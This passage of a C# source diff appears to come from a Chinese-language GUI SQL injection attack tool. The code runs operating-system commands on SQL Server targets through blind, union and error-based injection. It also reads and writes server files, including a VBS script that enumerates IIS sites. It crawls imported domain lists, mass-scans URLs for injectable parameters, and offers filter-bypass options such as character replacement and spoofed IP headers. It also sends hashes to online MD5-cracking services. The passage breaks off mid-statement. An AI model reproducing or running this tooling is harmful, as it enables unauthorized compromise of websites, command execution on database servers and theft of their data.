cmd_data_payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + this.Invoke(new StringDelegate(log), "报告大侠,CMD命令执行完成,正在等待获取执行结果!"); + if (config.showCmdResult) + { + switch (config.injectType) + { + + case InjectType.Bool: + try + { + if (String.IsNullOrEmpty(config.key)) + { + + MessageBox.Show("大侠,请在注入中心,配置Bool盲注的关键字!"); + return; + } + String count_payload = MSSQL.bool_value.Replace("{data}", MSSQL.cmdDataCount); + int count = getValueByStepUp(count_payload, 0, 50); + for (int i = 1; i <= count; i++) + { + String data_payload = MSSQL.cmdData.Replace("{index}", i + ""); + String payload_len = MSSQL.bool_length.Replace("{data}", data_payload); + int len = getValueByStepUp(payload_len, 0, 100); + this.dataCount = len; + ver_tmp = new String[len]; + //获取值 + for (int j = 1; j <= len; j++) + { + String dtmp_payload = MSSQL.unicode_value.Replace("{data}", data_payload).Replace("{index}", j + ""); + MyThreadPool.initThread(new ParameterizedThreadStart(execCMDBySQLServerByUnicode), dtmp_payload + "#" + j); + this.currentDataCount = j; + } + while (status == 1) + { + + Thread.Sleep(50); + if (MyThreadPool.getCurrentThreadCount() == 0) + { + if (ver_tmp != null) + { + break; + } + } + } + this.dataCount = len; + this.cmd_txt_result.AppendText(HttpUtility.HtmlDecode(Tools.StringArrayToString(ver_tmp)) + "\r\n"); + this.Invoke(new StringDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!"); + } + this.Invoke(new StringDelegate(log), "报告大侠,获取CMD执行结果完成!"); + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + break; + case InjectType.Union: + try + { + //检查配置 + if (config.columnsCount <= 0) + { + + MessageBox.Show("大侠,请在注入中心,配置Union注入的列数!"); + return; + } + + String data_count = getOneDataByUnionOrError(MSSQL.getUnionDataValueByCMD(config.columnsCount, config.showColumn, MSSQL.cmdDataCount)); + + this.Invoke(new StringDelegate(log), "报告大侠,CMD执行后CMD表有" + Tools.convertToInt(data_count) + "行数据,请稍候,正在获取..."); + + int count = Tools.convertToInt(data_count); + this.dataCount = count; + //下标从1开始 + for (int i = 1; i <= count; i++) + { + String payload = MSSQL.cmdData.Replace("{index}", i.ToString()); + String result = getOneDataByUnionOrError(MSSQL.getUnionDataValueByCMD(config.columnsCount, config.showColumn, payload)); + this.cmd_txt_result.AppendText(HttpUtility.HtmlDecode(result) + "\r\n"); + this.Invoke(new StringDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!"); + this.currentDataCount = i; + } + this.Invoke(new StringDelegate(log), "报告大侠,获取CMD执行结果完成!"); + + + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + break; + case InjectType.Error: + try + { + + String payload_len = MSSQL.bool_length.Replace("{data}", MSSQL.cmdData); + String data_count = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.cmdDataCount)); + + this.Invoke(new StringDelegate(log), "报告大侠,正在获取CMD命令执行结果!"); + int count = Tools.convertToInt(data_count); + this.dataCount = count; + //下标从1开始 + for (int i = 1; i <= count; i++) + { + String payload = MSSQL.cmdData.Replace("{index}", i.ToString()); + String result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", payload)); + this.cmd_txt_result.AppendText(HttpUtility.HtmlDecode(result) + "\r\n"); + this.Invoke(new StringDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!"); + this.currentDataCount = i; + } + this.Invoke(new StringDelegate(log), "报告大侠,获取CMD执行结果完成!"); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + break; + } + } + //删除表 + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, MSSQL.dropTable, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + this.Invoke(new StringDelegate(log), "清除执行命令时创建的临时表完成!"); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "执行命令获取结果发生异常:" + e.Message); + } + this.cmd_btn_start.Text = "开始"; + status = 0; + } + + + private void file_btn_start_Click(object sender, EventArgs e) + { + if (status == 0) + { + if (config.dbType.Equals(DBType.MySQL5) || config.dbType.Equals(DBType.SQLServer)) + { + if (String.IsNullOrEmpty(this.file_txt_filePath.Text)) + { + + MessageBox.Show("请填写读写文件的磁盘路径!"); + return; + } + if (MyThreadPool.getCurrentThreadCount() > 0) + { + MessageBox.Show("请稍候还有后台线程正在运行!"); + return; + } + if (!checkConfig()) + { + return; + } + if (!isSetInjectPoint()) + { + return; + } + status = 1; + this.file_btn_start.Text = "停止"; + this.currentThread = new Thread(readOrWriteFile); + this.currentThread.Start(); + } + else + { + MessageBox.Show("抱歉,文件读写目前只支持MySQL和SQLServer,并且账户拥有文件读写权限!"); + } + } + else + { + + StopThread(); + this.file_btn_start.Text = "开始"; + } + + } + + private void cmd_btn_start_Click(object sender, EventArgs e) + { + if (status == 0) + { + if (config.dbType.Equals(DBType.SQLServer)) + { + if (String.IsNullOrEmpty(this.cmd_txt_cmd.Text)) + { + + MessageBox.Show("请输入执行的命令!"); + return; + } + if (MyThreadPool.getCurrentThreadCount() > 0) + { + MessageBox.Show("请稍候还有后台线程正在运行!"); + return; + } + + status = 1; + this.cmd_btn_start.Text = "结束"; + this.cmd_txt_result.Clear(); + this.currentThread = new Thread(execCMDBySQLServer); + this.currentThread.Start(); + } + else + { + MessageBox.Show("抱歉,此功能目前只支持SQLServer数据库,并且账户拥有dba权限!"); + } + } + else + { + StopThread(); + this.cmd_btn_start.Text = "开始"; + } + } + + private void cmd_chk_showCmdResult_CheckedChanged(object sender, EventArgs e) + { + config.showCmdResult = this.cmd_chk_showCmdResult.Checked; + } + + private void file_txt_result_TextChanged(object sender, EventArgs e) + { + this.file_txt_result.SelectionStart = this.file_txt_result.Text.Length; + this.file_txt_result.SelectionLength = 0; + this.file_txt_result.ScrollToCaret(); + } + + private void cmd_txt_result_TextChanged(object sender, EventArgs e) + { + this.file_txt_result.SelectionStart = this.file_txt_result.Text.Length; + this.file_txt_result.SelectionLength = 0; + this.file_txt_result.ScrollToCaret(); + } + + private void bypass_btn_addReplaceStr_Click(object sender, EventArgs e) + { + if (String.IsNullOrEmpty(this.bypass_txt_replace.Text)) + { + + MessageBox.Show("大侠,请输入需要替换的字符!"); + return; + } + + if (this.bypass_txt_replace.Text.Equals(this.bypass_txt_replaceTo.Text)) + { + + MessageBox.Show("大侠,两个字符一样的,还需要替换什么,你这是在忽悠我吗!"); + return; + } + + if (!replaceList.ContainsKey(this.bypass_txt_replace.Text)) + { + ListViewItem lvi = new ListViewItem(this.bypass_txt_replace.Text); + lvi.SubItems.Add(this.bypass_txt_replaceTo.Text); + lvi.Name = this.bypass_txt_replaceTo.Text; + this.bypass_lvw_replaceString.Items.Add(lvi); + + replaceList.Add(this.bypass_txt_replace.Text, this.bypass_txt_replaceTo.Text); + config.replaceStrs += (this.bypass_txt_replace.Text + "\t" + this.bypass_txt_replaceTo.Text + "\n"); + } + else + { + MessageBox.Show("大侠,替换字符" + this.bypass_txt_replace.Text + "已经在列表了!"); + } + + + + + } + + private void bypass_chk_inculdeStr_CheckedChanged(object sender, EventArgs e) + { + config.inculdeStr = this.bypass_chk_inculdeStr.Checked; + } + + private void bypass_delselect_Click(object sender, EventArgs e) + { + if (this.bypass_lvw_replaceString.SelectedItems != null && this.bypass_lvw_replaceString.SelectedItems.Count > 0) + { + foreach (ListViewItem lvi in this.bypass_lvw_replaceString.SelectedItems) + { + + this.bypass_lvw_replaceString.Items.Remove(lvi); + String delStr = lvi.SubItems[0].Text + "\t" + lvi.SubItems[1].Text + "\n"; + config.replaceStrs = config.replaceStrs.Replace(delStr, ""); + replaceList.Remove(lvi.SubItems[0].Text); + + } + } + else + { + MessageBox.Show("没有选择!"); + } + } + + private void file_cbox_readWrite_SelectedIndexChanged(object sender, EventArgs e) + { + try + { + if ("加载获取IIS虚拟网站信息VBS".Equals(this.file_cbox_readWrite.Text)) + { + + //加载vbs脚本 + this.file_txt_filePath.Text = "c:/test.vbs"; + this.file_txt_result.Text = FileTool.readFileToString("config/GetIISWebInfo.vbs"); + MessageBox.Show("加载成功,大侠,请选择对应的写文件方法写入VBS!"); + } + } + catch (Exception ee) + { + Tools.SysLog("读取config/GetIISWebInfo.vbs发生错误!异常信息:" + ee.Message); + MessageBox.Show("加载config/GetIISWebInfo.vbs发生错误!"); + } + } + //验证key是否正确 + private void injectConfig_btn_checkKey_Click(object sender, EventArgs e) + { + Thread t = new Thread(checkTheKey); + this.injectConfig_btn_checkKey.Enabled = false; + t.Start(); + } + + public void checkTheKey() + { + + if (checkConfig()) + { + if (isSetInjectPoint()) + { + + bool truep = findKeyInBody(Comm.truePayload); + bool falsep = findKeyInBody(Comm.falsePayload); + if (truep == true && falsep == false) + { + MessageBox.Show("关键字设置正确!"); + } + else + { + + MessageBox.Show("此关键字设置错误,无法通过此关键字获取数据!请查看HTTP发包记录是否存在乱码,检查编码设置是否正确;可能此关键字同时在真假条件上出现,请更换关键字!"); + } + } + } + this.injectConfig_btn_checkKey.Enabled = true; + } + + private void bypass_cbox_sendHTTPSleepTime_TextChanged(object sender, EventArgs e) + { + config.sendHTTPSleepTime = Tools.convertToInt(this.bypass_cbox_sendHTTPSleepTime.Text); + } + + private void bypass_cbox_randIPToHeader_TextChanged(object sender, EventArgs e) + { + config.randIPToHeader = this.bypass_cbox_randIPToHeader.Text; + } + + private void encode_cbox_encode_SelectedIndexChanged(object sender, EventArgs e) + { + try + { + String encode = this.encode_txt_input.Text; + if (this.encode_cbox_encode.SelectedIndex != 0) + { + + if (String.IsNullOrEmpty(encode)) + { + MessageBox.Show("请输入要编码的字符!"); + this.encode_txt_input.Focus(); + } + } + + switch (this.encode_cbox_encode.SelectedIndex) + { + case 1: + this.encode_txt_result.Text = System.Web.HttpUtility.UrlEncode(encode); + break; + case 2: + this.encode_txt_result.Text = Convert.ToBase64String(Encoding.UTF8.GetBytes(encode)); + break; + case 3: + this.encode_txt_result.Text = Tools.stringToAscii(encode); + break; + case 4: + this.encode_txt_result.Text = Tools.strToHex(encode, "UTF-8"); + break; + case 5: + md5(); + break; + + } + } + catch (Exception ep) + { + + log("编码发生异常!" + ep.Message); + + } + } + + private void encode_cbox_decode_SelectedIndexChanged(object sender, EventArgs e) + { + try + { + String decode = this.encode_txt_input.Text; + if (this.encode_cbox_decode.SelectedIndex != 0) + { + + if (String.IsNullOrEmpty(decode)) + { + MessageBox.Show("请输入要解码的字符!"); + this.encode_txt_result.Focus(); + } + } + + switch (this.encode_cbox_decode.SelectedIndex) + { + case 1: + this.encode_txt_result.Text = System.Web.HttpUtility.UrlDecode(decode); + break; + case 2: + this.encode_txt_result.Text = Encoding.UTF8.GetString(Convert.FromBase64String(decode)); + break; + case 3: + MessageBox.Show("多个ascii需使用空格隔开!"); + this.encode_txt_result.Text = Tools.asciiToString(decode); + break; + case 4: + this.encode_txt_result.Text = Tools.unHex(decode, "UTF-8"); + break; + case 5: + log("----------------正在进行在线MD5解密----------------"); + log("----------------正在查找www.cmd5.com---------------"); + this.encode_txt_result.Text = ""; + this.encode_txt_result.Text += "www.cmd5.com查询结果:" + OnlineMD5.decodeMD5_cmd5(this.encode_txt_input.Text) + "\r\n"; + log("----------------正在查找www.md5.com.cn--------------"); + this.encode_txt_result.Text += "www.md5.com.cn查询结果:" + OnlineMD5.decodeMD5_md5_com_cn(this.encode_txt_input.Text) + "\r\n"; + log("---------------正在查找www.xmd5.org----------------"); + this.encode_txt_result.Text += "www.xmd5.org查询结果:" + OnlineMD5.decodeMD5_xmd5_org(this.encode_txt_input.Text) + "\r\n"; + log("---------------正在查找www.somd5.com---------------"); + this.encode_txt_result.Text += "www.somd5.com查询结果:" + OnlineMD5.decodeMD5_somd5_com(this.encode_txt_input.Text) + "\r\n"; + log("---------------正在查找www.md5.cc------------------"); + this.encode_txt_result.Text += "www.md5.cc查询结果:" + OnlineMD5.decodeMD5_md5_cc(this.encode_txt_input.Text) + "\r\n"; + log("---------------正在查找www.pmd5.com------------------"); + this.encode_txt_result.Text += "www.pmd5.cm查询结果:" + OnlineMD5.decodeMD5_pmd5_com(this.encode_txt_input.Text); + break; + + } + } + catch (Exception ep) + { + + log("解码发生异常!" + ep.Message); + } + } + public void checkTheKey(ServerInfo trueServer, ServerInfo falseServer, ServerInfo oldServer) + { + + //判断关键字,body中的词 + String key = Tools.findKeyByStr(trueServer.body, falseServer.body, oldServer.body); + this.chk_inject_reverseKey.Checked = false; + //如果为空反过来查找 + if (String.IsNullOrEmpty(key)) + { + this.Invoke(new StringDelegate(log), "Body响应内容中正向查找未发现盲注关键字!"); + this.chk_inject_reverseKey.Checked = true; + key = Tools.findKeyByStr(falseServer.body, trueServer.body, oldServer.body); + if (String.IsNullOrEmpty(key)) + { + this.Invoke(new StringDelegate(log), "Body响应内容中反向查找未发现盲注关键字!"); + this.chk_inject_reverseKey.Checked = false; + } + } + if (!String.IsNullOrEmpty(key)) + { + this.cbox_inject_type.SelectedIndex = 0; + this.txt_inject_key.Text = key; + this.Invoke(new StringDelegate(log), "发现盲注关键字!" + key); + return; + } + + //状态码判断 + int code = Tools.findKeyByCode(trueServer.code, falseServer.code); + if (code == 0) + { + this.Invoke(new StringDelegate(log), "响应状态码不能作为盲注判断条件!"); + + } + else + { + this.cbox_inject_type.SelectedIndex = 1; + this.txt_inject_key.Text = key; + this.Invoke(new StringDelegate(log), "响应状态码可以作为盲注判断条件!"); + return; + } + + //时间判断 + + if (trueServer.runTime < config.maxTime && falseServer.runTime < config.maxTime) + { + this.cbox_inject_type.SelectedIndex = 2; + this.txt_inject_key.Text = config.maxTime.ToString(); + this.Invoke(new StringDelegate(log), "逻辑为真的响应时间可以作为盲注判断条件!"); + return; + } + if (falseServer.runTime < config.maxTime && trueServer.runTime < config.maxTime) + { + this.cbox_inject_type.SelectedIndex = 2; + this.txt_inject_key.Text = config.maxTime.ToString(); + this.chk_inject_reverseKey.Checked = true; + this.Invoke(new StringDelegate(log), "逻辑为假的响应时间可以作为盲注判断条件!"); + return; + } + this.Invoke(new StringDelegate(log), "没有发现盲注判断条件,请检查注入标记、编码等基础配置是否正确!"); + } + + private void inject_btn_autoFindKey_Click(object sender, EventArgs e) + { + try + { + if (config.request.IndexOf(setInjectStr) == -1) + { + + MessageBox.Show("大侠,请标记注入后,程序才能自动查找关键字!"); + return; + } + if (config.request.IndexOf("") == -1) + { + + MessageBox.Show("大侠,请将注入标记范围内参数标记编码,程序才能对标记编码范围内的数据进行URL编码,否则有错误!"); + return; + } + this.inject_btn_autoFindKey.Enabled = false; + ServerInfo trueServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, Comm.truePayload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + ServerInfo falseServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, Comm.falsePayload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + checkTheKey(trueServer, falseServer, trueServer); + this.Invoke(new StringDelegate(log), "自动查找关键字完成!"); + + } + catch (Exception ep) + { + this.Invoke(new StringDelegate(log), "自动查找关键字发生异常!" + ep.Message); + } + this.inject_btn_autoFindKey.Enabled = true; + } + + private void scanInjection_importDomains_Click(object sender, EventArgs e) + { + if (addStatus == 0) { + OpenFileDialog ofd = new OpenFileDialog { Filter = "文本文件(*.txt)|*.txt" }; + if (ofd.ShowDialog() == DialogResult.OK ) + { + this.scan_list.Clear(); + this.scanInjection_txt_domainsPath.Text = ofd.FileName; + addStatus = 1; + Thread th = new Thread(new ParameterizedThreadStart(addItemToScanDomain)); + th.Start(ofd.FileName); + } + } + else { + MessageBox.Show("加载任务未完成。"); + } + } + public int addStatus = 0; + public void addItemToScanDomain(Object path) { + this.scan_list = FileTool.readDomainToList(path.ToString(), true); + this.scanInjection_domainsCount.Text = this.scan_list.Count + ""; + int i = 0; + comm_count = this.scan_list.Count; + foreach (String url in this.scan_list) + { + this.scanInject_lsb_links.Items.Add(url); + i++; + comm_currentCount = i; + } + addStatus = 0; + MessageBox.Show("加载列表完成!"); + } + + Thread scanedThread = null; + + + public void stopScan() + { + Main.status = -1; + this.scanInjection_btn_scan.Enabled = false; + this.scanInjection_btn_scan.Text = "正在停止"; + while (MyThreadPool.getCurrentThreadCount() > 0) + { + + Thread.Sleep(100); + } + this.scanInjection_btn_scan.Text = "开始扫描"; + this.scanInjection_btn_scan.Enabled = true; + Main.status = 0; + Thread.CurrentThread.Abort(); + } + + public void stopSpider() + { + Main.status = -1; + this.scanInjection_btn_spider.Enabled = false; + this.scanInjection_btn_spider.Text = "正在停止"; + while (MyThreadPool.getCurrentThreadCount() > 0) + { + + Thread.Sleep(100); + } + this.scanInjection_btn_spider.Text = "爬行链接"; + this.scanInjection_domainsCount.Text = this.scanInject_lsb_links.Items.Count.ToString(); + this.scanInjection_btn_spider.Enabled = true; + Main.status = 0; + Thread.CurrentThread.Abort(); + } + public void spider() + { + foreach (String url in scan_list) + { + //爬行 + MyThreadPool.initThread(new ParameterizedThreadStart(spiderURLs), url, url + "----" + scanedDomain); + scanedDomain++; + } + stopSpider(); + } + public void scan() + { + //扫描 + HashSet testURL = new HashSet(); + foreach (String url in this.scanInject_lsb_links.Items) + { + if (url.IndexOf("?") != -1) + { + if (!testURL.Contains(url)) + { + testURL.Add(url); + MyThreadPool.initThread(new ParameterizedThreadStart(scanInject), url); + scanedURLSCount++; + } + else { + this.Invoke(new StringDelegate(log), url+"----此URL以检测过了,自动跳过!"); + } + } + } + stopScan(); + } + public int urlSumCount = 0;//待扫url + public int scanedURLSCount = 0;//已扫 + + public String GetOneURL(List mylist, int index) { + try + { + if (!String.IsNullOrEmpty(mylist[index])) + { + return mylist[index]; + } + } + catch (Exception e) { + + } + + return ""; + } + + public void spiderURLs(object url) + { + try + { + Spider.config = config; + Spider sp = new Spider(); + if (this.scanInect_chk_isSpider.Checked) + { + sp.findLinks(url.ToString()); + } + else + { + sp.AllURL.Add(url.ToString()); + } + int count = 0; + int s = sp.AllURL.Count;//第一次URL总数 + int spindex = 0;//爬行下标 + int index = 0; + HashSet addURLs = new HashSet(); + do + { + + if (index >= s) + { + //不够数量继续爬行 + if (count < config.maxSpiderCount) + { + String surl = GetOneURL(sp.AllURL, spindex); + if (!String.IsNullOrEmpty(surl)) { + sp.findLinks(surl); + spindex++; + } + } + } + + String curl = GetOneURL(sp.AllURL, index); + if (curl.IndexOf("?") != -1) + { + this.Invoke(new StringDelegate(addItemToListBox), curl); + count++; + } + index++; + + } while (count < config.maxScanCount&&sp.AllURL.Count> spindex) ; + + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "发生异常----" + e.Message); + } + + } + + + public void scanInject(Object ourl) + { + Injection injection = InjectionTools.testInjection(ourl.ToString(), this.config, this.scanInect_chk_scanError.Checked); + if (injection.isInjection) + { + this.Invoke(new StringDelegate(log), ourl + "存在注入点!"); + injectionURLCount++; + injection.url = ourl.ToString(); + injection.index = injectionURLCount; + this.Invoke(new addScanInjectionResultDelegate(addScanInjectionResult), injection); + } + else + { + this.Invoke(new StringDelegate(log), ourl + "不存在注入点!"); + } + + + } + + delegate void addScanInjectionResultDelegate(Injection inj); + public void addScanInjectionResult(Injection inj) + { + + ListViewItem lvi = new ListViewItem(inj.index + ""); + lvi.SubItems.Add(inj.url); + lvi.SubItems.Add(inj.testUrl); + lvi.SubItems.Add(inj.paramName); + lvi.SubItems.Add(inj.injectType); + lvi.SubItems.Add(inj.dbType); + lvi.SubItems.Add(inj.remark); + this.scanInjection_lvw_result.Items.Add(lvi); + } + + public int scanedDomain = 0; + private void timer_scanInjection_Tick(object sender, EventArgs e) + { + this.scanInjection_findURLSCount.Text = urlSumCount + ""; + this.scanInjection_scanedURLSCount.Text = scanedURLSCount + ""; + this.scanInjection_scanedDomainCount.Text = this.scanedDomain + ""; + } + + private void openScanURL(int index) { + if (this.scanInjection_lvw_result.SelectedItems.Count == 0) + { + return; + } + string target = this.scanInjection_lvw_result.SelectedItems[0].SubItems[index].Text; + + try + { + + System.Diagnostics.Process.Start("IEXPLORE.EXE", target); + + } + catch (Exception oe) + { + MessageBox.Show("无法打开IE---" + oe.Message); + } + } + + + + private void scanInjection_lvw_result_DoubleClick(object sender, EventArgs e) + { + openScanURL(2); + } + + private void scanInjection_cms_exportResult_Click(object sender, EventArgs e) + { + + exportScanURL(null); + } + + + public void exportScanURL(int[] cols){ + if (export == 0) + { + //保存文件 + SaveFileDialog saveFileDialog = new SaveFileDialog(); + saveFileDialog.Filter = "文本文件|*.txt"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + export = 1; + exportInjectData(saveFileDialog.FileName,cols); + } + } + else + { + + MessageBox.Show("请稍候,还有导出任务正在进行!"); + } + export = 0; + } + + public void exportInjectData(Object path,int[] cols) + { + try + { + FileStream fs = new FileStream(path.ToString(), FileMode.OpenOrCreate, FileAccess.Write); + StreamWriter sw = new StreamWriter(fs); + String columns = ""; + if (cols==null) + { + foreach (ColumnHeader dc in this.scanInjection_lvw_result.Columns) + { + columns += (dc.Text + "#"); + } + sw.WriteLine(columns); + } + + foreach (ListViewItem sv in this.scanInjection_lvw_result.Items) + { + StringBuilder sb = new StringBuilder(); + if (cols == null) + { + foreach (ListViewItem.ListViewSubItem subv in sv.SubItems) + { + + sb.Append(subv.Text); + sb.Append("----"); + } + } + else { + + + for (int i=0;i< cols.Length;i++) + { + sb.Append(sv.SubItems[cols[i]].Text); + sb.Append("----"); + } + } + + sb.Remove(sb.Length - 4, 4); + sw.WriteLine(sb.ToString()); + } + sw.Close(); + MessageBox.Show("导出完成!"); + } + catch (Exception e) + { + Tools.SysLog("导出数据发生异常!" + e.Message); + MessageBox.Show("导出数据发生异常!"); + } + export = 0; + + } + + private void scanInjection_cms_copyURL_Click(object sender, EventArgs e) + { + if (this.scanInjection_lvw_result.SelectedItems.Count == 0) + { + return; + } + Clipboard.SetText(this.scanInjection_lvw_result.SelectedItems[0].SubItems[1].Text); + MessageBox.Show("复制成功!"); + } + + private void scanInjection_cms_delThisLine_Click(object sender, EventArgs e) + { + if (this.scanInjection_lvw_result.SelectedItems.Count == 0) + { + return; + } + foreach (ListViewItem selitem in this.scanInjection_lvw_result.SelectedItems) { + this.scanInjection_lvw_result.Items.Remove(selitem); + } + } + + private void scanInjection_cms_clearResult_Click(object sender, EventArgs e) + { + this.scanInjection_lvw_result.Items.Clear(); + } + + public void loadList(Object path) + { + //load + FileStream fs_dir = null; + StreamReader reader = null; + urlSumCount = 0; + try + { + fs_dir = new FileStream(path.ToString(), FileMode.Open, FileAccess.Read); + + reader = new StreamReader(fs_dir); + + String lineStr; + + while ((lineStr = reader.ReadLine()) != null) + { + this.Invoke(new StringDelegate(addItemToListBox), lineStr); + urlSumCount++; + } + } + catch (Exception e) + { + Tools.SysLog(e.Message); + } + finally + { + if (reader != null) + { + reader.Close(); + } + if (fs_dir != null) + { + fs_dir.Close(); + } + loadListStatus = 0; + } + + } + public void addItemToListBox(String item) + { + if (!this.scanInject_lsb_links.Items.Contains(item)) { + this.scanInject_lsb_links.Items.Add(item); + urlSumCount++; + } + } + + private void scanInjection_txtURLList_DoubleClick(object sender, EventArgs e) + { + if (loadListStatus == 0) + { + OpenFileDialog ofd = new OpenFileDialog { Filter = "文本文件(*.txt)|*.txt" }; + if (ofd.ShowDialog() == DialogResult.OK) + { + this.scanInject_lsb_links.Items.Clear(); + Thread th = new Thread(loadList); + loadListStatus = 1; + th.Start(ofd.FileName); + } + } + else + { + MessageBox.Show("上次导入任务还未结束,请稍后!"); + } + } + + private void encode_txt_encode_TextChanged(object sender, EventArgs e) + { + md5(); + } + + private void md5() + { + if (this.encode_cbox_encode.SelectedIndex == 5) + { + this.encode_txt_result.Text = "16位md5:" + Tools.md5_16(this.encode_txt_input.Text) + "\r\n32位md5:" + Tools.md5_32(this.encode_txt_input.Text); + this.encode_txt_result.Text += "\r\n小写16位md5:" + Tools.md5_16(this.encode_txt_input.Text).ToLower() + "\r\n小写32位md5:" + Tools.md5_32(this.encode_txt_input.Text).ToLower(); + } + } + + private void log_lvw_httpLog_SelectedIndexChanged(object sender, EventArgs e) + { + if (this.log_lvw_httpLog.SelectedItems.Count > 0) + { + try + { + String tag = this.log_lvw_httpLog.SelectedItems[0].Tag.ToString(); + this.log_txt_request.Text = FileTool.readFileToString(Tools.httpLogPath + tag + "-request.txt"); + String response = FileTool.readFileToString(Tools.httpLogPath + tag + "-response.txt"); + if (!String.IsNullOrEmpty(response)) + { + int index = response.IndexOf("\r\n\r\n"); + + if (index != -1) + { + this.webBro_log.Stop(); + this.webBro_log.ScriptErrorsSuppressed = true; + this.log_txt_response.Text = response; + String html = response.Substring(index, response.Length - index); + this.webBro_log.DocumentText = html; + } + + + } + else + { + MessageBox.Show("没有读到详细HTTP日志,可能上一次清除记录时已清除!"); + } + } + catch (Exception ee) + { + Tools.SysLog("查看详细HTTP日志,发生异常----" + ee.Message); + } + } + } + + private ListViewColumnSorter data_dbs_lvw_lvwColumnSorter; + private bool sort = false; + private void data_dbs_lvw_data_ColumnClick(object sender, ColumnClickEventArgs e) + { + // 创建一个ListView排序类的对象,并设置listView1的排序器 + data_dbs_lvw_lvwColumnSorter = new ListViewColumnSorter(); + if (sort == false) + { + sort = true; + data_dbs_lvw_lvwColumnSorter.Order = SortOrder.Descending; + } + else + { + sort = false; + data_dbs_lvw_lvwColumnSorter.Order = SortOrder.Ascending; + } + data_dbs_lvw_lvwColumnSorter.SortColumn = e.Column; + this.data_dbs_lvw_data.ListViewItemSorter = data_dbs_lvw_lvwColumnSorter; + } + + private ListViewColumnSorter scanInjection_lvw_result_lvwColumnSorter; + private bool ss_sort = false; + private void scanInjection_lvw_result_ColumnClick(object sender, ColumnClickEventArgs e) + { + // 创建一个ListView排序类的对象,并设置listView1的排序器 + scanInjection_lvw_result_lvwColumnSorter = new ListViewColumnSorter(); + + if (ss_sort == false) + { + ss_sort = true; + scanInjection_lvw_result_lvwColumnSorter.Order = SortOrder.Descending; + } + else + { + ss_sort = false; + scanInjection_lvw_result_lvwColumnSorter.Order = SortOrder.Ascending; + } + scanInjection_lvw_result_lvwColumnSorter.SortColumn = e.Column; + this.scanInjection_lvw_result.ListViewItemSorter = scanInjection_lvw_result_lvwColumnSorter; + } + + private void btn_inject_clearRequest_Click(object sender, EventArgs e) + { + this.mytab.SelectTab(1); + data_cms_tsmi_getVariable_Click(null, null); + } + + private void file_txt_result_KeyDown(object sender, KeyEventArgs e) + { + if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A) + { + ((TextBox)sender).SelectAll(); + } + } + + private void cmd_txt_result_KeyDown(object sender, KeyEventArgs e) + { + if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A) + { + ((TextBox)sender).SelectAll(); + } + } + + private void encode_txt_result_KeyDown(object sender, KeyEventArgs e) + { + if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A) + { + ((TextBox)sender).SelectAll(); + } + } + + private void bypass_chk_base64_CheckedChanged(object sender, EventArgs e) + { + config.base64 = this.bypass_chk_base64.Checked; + } + + private void data_dbs_tsmi_addDBS_Click(object sender, EventArgs e) + { + addNode(1); + + } + + private void addNode(int type) + { + + if (an != null) + { + an = new AddNode(); + an.type = type; + an.tn = this.data_tvw_dbs.SelectedNode; + an.tvw = this.data_tvw_dbs; + an.ShowDialog(); + } + else + { + an = new AddNode(); + an.type = type; + an.tvw = this.data_tvw_dbs; + an.tn = this.data_tvw_dbs.SelectedNode; + an.ShowDialog(); + } + + } + + private void data_dbs_tsmi_addTableOrColumn_Click(object sender, EventArgs e) + { + addNode(2); + } + private Thread spiderThread = null; + private void scanInjection_btn_spider_Click(object sender, EventArgs e) + { + if (addStatus != 0) { + MessageBox.Show("请稍候,还在加载地址列表!"); + return; + } + if (this.scanInjection_btn_spider.Text.Equals("爬行链接")) + { + if (scan_list.Count <= 0) + { + MessageBox.Show("请导入域名!"); + return; + } + if (MyThreadPool.getCurrentThreadCount() > 0) + { + MessageBox.Show("请稍候还有后台线程正在运行!"); + return; + } + this.scanInject_lsb_links.Items.Clear(); + spiderThread = new Thread(spider); + scanedDomain = 0; + this.scanInjection_btn_spider.Text = "停止爬行"; + Main.status = 1; + spiderThread.Start(); + + } + + else + { + if (this.spiderThread != null) + { + this.spiderThread.Abort(); + Thread t = new Thread(stopSpider); + t.Start(); + } + } + } + + private void scanInjection_btn_scan_Click(object sender, EventArgs e) + { + if (addStatus != 0) + { + MessageBox.Show("请稍候,还在加载地址列表!"); + return; + } + if (MyThreadPool.getCurrentThreadCount() <= 0) + { + if (this.scanInject_lsb_links.Items.Count > 0) + { + + scanedURLSCount = 0; + this.scanInjection_btn_scan.Text = "停止扫描"; + Main.status = 1; + scanedThread = new Thread(scan); + scanedThread.Start(); + } + else { + MessageBox.Show("请先爬行或导入链接!"); + } + } + else + { + + if (this.scanedThread != null) + { + this.scanedThread.Abort(); + Thread t = new Thread(stopScan); + t.Start(); + } + } + } + private ListViewColumnSorter log_lvw_httpLog_lvwColumnSorter; + private bool log_sort = false; + private void log_lvw_httpLog_ColumnClick(object sender, ColumnClickEventArgs e) + { + // 创建一个ListView排序类的对象,并设置listView1的排序器 + log_lvw_httpLog_lvwColumnSorter = new ListViewColumnSorter(); + if (log_sort == false) + { + log_sort = true; + log_lvw_httpLog_lvwColumnSorter.Order = SortOrder.Descending; + } + else + { + log_sort = false; + log_lvw_httpLog_lvwColumnSorter.Order = SortOrder.Ascending; + } + log_lvw_httpLog_lvwColumnSorter.SortColumn = e.Column; + this.log_lvw_httpLog.ListViewItemSorter = 